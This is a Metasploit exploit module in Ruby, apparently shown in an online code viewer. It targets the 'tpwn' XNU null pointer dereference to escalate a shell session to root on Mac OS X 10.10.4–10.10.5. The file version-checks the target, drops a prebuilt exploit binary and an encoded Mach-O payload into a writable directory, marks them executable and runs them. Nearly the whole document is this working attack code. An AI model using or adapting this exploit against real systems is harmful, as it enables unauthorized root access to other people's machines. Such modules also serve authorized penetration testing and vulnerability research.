Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Local
7
  Rank = NormalRanking
8

9
  include Msf::Post::File
10
  include Msf::Post::OSX::Priv
11
  include Msf::Post::OSX::System
12
  include Msf::Exploit::EXE
13
  include Msf::Exploit::FileDropper
14

15
  def initialize(info = {})
16
    super(update_info(info,
17
      'Name'           => 'Mac OS X "tpwn" Privilege Escalation',
18
      'Description'    => %q{
19
        This module exploits a null pointer dereference in XNU to escalate
20
        privileges to root.
21

22
        Tested on 10.10.4 and 10.10.5.
23
      },
24
      'Author'         => [
25
        'qwertyoruiop', # Vulnerability discovery and PoC
26
        'wvu'           # Copy/paste monkey
27
      ],
28
      'References'     => [
29
        ['URL', 'https://github.com/kpwn/tpwn']
30
      ],
31
      'DisclosureDate' => '2015-08-16',
32
      'License'        => MSF_LICENSE,
33
      'Platform'       => 'osx',
34
      'Arch'           => ARCH_X64,
35
      'SessionTypes'   => ['shell'],
36
      'Privileged'     => true,
37
      'Targets'        => [
38
        ['Mac OS X 10.10.4-10.10.5', {}]
39
      ],
40
      'DefaultTarget'  => 0
41
    ))
42

43
    register_advanced_options [
44
      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
45
    ]
46
  end
47

48
  def base_dir
49
    datastore['WritableDir'].to_s
50
  end
51

52
  def check
53
    ver?? CheckCode::Appears : CheckCode::Safe
54
  end
55

56
  def exploit
57
    if is_root?
58
      fail_with Failure::BadConfig, 'Session already has root privileges'
59
    end
60

61
    if check != CheckCode::Appears
62
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
63
    end
64

65
    unless writable? base_dir
66
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
67
    end
68

69
    print_status("Writing exploit to `#{exploit_file}'")
70
    write_file(exploit_file, binary_exploit)
71
    register_file_for_cleanup(exploit_file)
72

73
    print_status("Writing payload to `#{payload_file}'")
74
    write_file(payload_file, binary_payload)
75
    register_file_for_cleanup(payload_file)
76

77
    print_status('Executing exploit...')
78
    cmd_exec(sploit)
79
    print_status('Executing payload...')
80
    cmd_exec(payload_file)
81
  end
82

83
  def ver?
84
    Rex::Version.new(get_sysinfo['ProductVersion']).between?(
85
      Rex::Version.new('10.10.4'), Rex::Version.new('10.10.5')
86
    )
87
  end
88

89
  def sploit
90
    "chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"
91
  end
92

93
  def binary_exploit
94
    File.read(File.join(
95
      Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'
96
    ))
97
  end
98

99
  def binary_payload
100
    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
101
  end
102

103
  def exploit_file
104
    @exploit_file ||=
105
      "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
106
  end
107

108
  def payload_file
109
    @payload_file ||=
110
      "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
111
  end
112
end
113

114